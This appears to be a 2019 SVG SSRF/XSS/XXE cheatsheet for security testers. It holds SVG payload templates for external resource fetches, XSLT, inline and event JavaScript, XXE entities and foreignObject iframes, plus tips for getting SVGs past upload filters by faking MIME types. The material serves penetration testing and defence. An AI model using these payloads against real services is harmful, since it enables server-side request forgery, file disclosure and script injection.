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SVG SSRF Cheatsheet

Hosts that process SVG can potentially be vulnerable to SSRF, LFI, XSS, RCE because of the rich feature set of SVG.

All of these methods specify a URI, which can be absolute or relative. File and HTTP protocol are important to test, but it could also support other protocols depending on the implementation (e.g. PHP stream schemes), including javascript: and data:.

This document contains a list of all the ways I know about to abuse this functionality in SVG.

Note that some services that claim to not accept SVG as an input format actually do with a little coaxing.

  • For uploads, send a JPEG/PNG mime type and filename.
  • For downloads, have a JPEG/PNG filename and mime type. If refused, check for TOCTOU on the URL (double fetch) and if it follows redirects.
  • I haven't seen it but Mime sniffing confusion is probably also possibleMime sniffing confusion as SVG is difficult to sniff because it can start with extra XML garbage. In fact, AFAICT the standard file command doesn't include any SVG magic, so it's likely up to the individual implementations.

Images

SVG can include external images directly via the <image> tag.

<svg width="200" height="200"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="https://example.com/image.jpg" height="200" width="200"/>
</svg>

Note that you can use this to include other SVG images too.

The <use> tag

SVG can include external SVG content via the <use> tag.

file1.svg:

<svg width="200" height="200"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <use xlink:href="https://example.com/file2.svg#foo"/>
</svg>

file2.svg:

<svg width="200" height="200"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>
</svg>

CSS

CSS Stylesheet <link>

SVG can include external stylesheets via the <link> tag, just like html.

<svg width="100%" height="100%" viewBox="0 0 100 100"
     xmlns="http://www.w3.org/2000/svg">
	<link xmlns="http://www.w3.org/1999/xhtml" rel="stylesheet" href="http://example.com/style.css" type="text/css"/>
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>
</svg>

CSS stylesheet via @include

<svg xmlns="http://www.w3.org/2000/svg">
  <style>
    @import url(http://example.com/style.css);
  </style>
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>
</svg>

CSS Stylesheet via <?xml-stylesheet?>

<?xml-stylesheet href="http://example.com/style.css"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
     xmlns="http://www.w3.org/2000/svg">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>
</svg>

XSLT

SVGs can include XSLT stylesheets via <?xml-stylesheet?>. Surprisingly, this does seem to work in chrome.

<?xml version="1.0" ?>
<?xml-stylesheet href="https://example.com/style.xsl" type="text/xsl" ?>
<svg width="10cm" height="5cm"
     xmlns="http://www.w3.org/2000/svg">
  <rect x="2cm" y="1cm" width="6cm" height="3cm"/>
</svg>
<?xml version="1.0"?>

<xsl:stylesheet version="1.0"
                xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
                xmlns="http://www.w3.org/2000/svg"
        xmlns:svg="http://www.w3.org/2000/svg">
  <xsl:output
      method="xml"
      indent="yes"
      standalone="no"
      doctype-public="-//W3C//DTD SVG 1.1//EN"
      doctype-system="http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"
      media-type="image/svg" />

  <xsl:template match="/svg:svg">
    <svg width="10cm" height="5cm"
       xmlns="http://www.w3.org/2000/svg">
    <rect x="2cm" y="1cm" width="6cm" height="3cm" fill="red"/>
  </svg>
  </xsl:template>
</xsl:stylesheet>

Note: due to the nature of XSLT, the input doesn't actually have to be a valid SVG file if the xml-stylesheet is ignored, but it's useful to bypass filters.

Also, Because I have no interest in learning XSLT, this template just wholesale replaces the entire "old" image with the new one.

Javascript

Inline

SVG can natively include inline javascript, just like HTML.

<svg width="100%" height="100%" viewBox="0 0 100 100"
     xmlns="http://www.w3.org/2000/svg">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>
  <script type="text/javascript">
    // <![CDATA[
      document.getElementById("foo").setAttribute("fill", "blue");
   // ]]>
  </script>
</svg>

External

SVG can also include external scripts.

<svg width="100%" height="100%" viewBox="0 0 100 100"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo" o="foo"/>
  <script src="http://example.com/script.js" type="text/javascript"/>
</svg>

Inline in event

SVG can also have inline event handlers that get executed onload.

<svg width="100%" height="100%" viewBox="0 0 100 100"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo" o="foo"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onload="document.getElementById('foo').setAttribute('fill', 'blue');"/>
</svg>

You can also bind handlers to animations and some other events. Read the SVG spec.

XXE

Because SVG is XML, it can also have XXEs:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" [
  <!-- an internal subset can be embedded here -->
  <!ENTITY xxe SYSTEM "https://example.com/foo.txt">
]>
<svg width="100%" height="100%" viewBox="0 0 100 100"
     xmlns="http://www.w3.org/2000/svg">
  <text x="20" y="35">My &xxe;</text>
</svg>

<foreignObject>

The <foreignObject> tag is insane. It can be used to include arbitrary (X)HTML in an SVG.

For example, to include an iframe:

<svg width="500" height="500"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>

  <foreignObject width="500" height="500">
    <iframe xmlns="http://www.w3.org/1999/xhtml" src="http://example.com/"/>
  </foreignObject>
</svg>

If you don't have network access (e.g. sandbox) you can put a data URI or a javascript uri as the target of the iframe:

<svg width="500" height="500"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>

  <foreignObject width="500" height="500">
     <iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
k   <iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
  </foreignObject>
</svg>

If you haven't had enough SVGs, you can also include more SVGs via the <object> or <embed> tags. I think probably it's theoretically possible to put Flash in there too.

Note that also because you're in a different XML namespace, anything that stripped only svg:script might not have stripped html:script (or similar for attributes).

Other

It's possible to include external fonts if you ever wanted to do that, I think both via CSS and via native attributes. This isn't really useful though because webfonts require CORS for some reason I don't really understand related to DRM for font resources to prevent hotlinking. I guess sometimes there are font engine vulnerabilities though.

Text

This example from the SVG spec shows using a tref node to reference text by URI, however it doesn't seem to work in any viewer I've tried. If there is an implementation that supports it, it might also support external URIs for the href in the tref.

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" 
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="10cm" height="3cm" viewBox="0 0 1000 300"
     xmlns="http://www.w3.org/2000/svg" version="1.1"
     xmlns:xlink="http://www.w3.org/1999/xlink">
  <defs>
    <text id="ReferencedText">
      Referenced character data
    </text>
  </defs>
  <desc>Example tref01 - inline vs reference text content</desc>
  <text x="100" y="100" font-size="45" fill="blue" >
    Inline character data
  </text>
  <text x="100" y="200" font-size="45" fill="red" >
    <tref xlink:href="#ReferencedText"/>
  </text>
  <!-- Show outline of canvas using 'rect' element -->
  <rect x="1" y="1" width="998" height="298"
        fill="none" stroke="blue" stroke-width="2" />
</svg>

Improvements

If you know of any other methods or relevant information/examples, feel free to open an issue/PR.

If you found this useful, I'd appreciate it if you'd let me know! It makes my day.

Copyright 2019 Allan Wirth <[email protected]>.

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.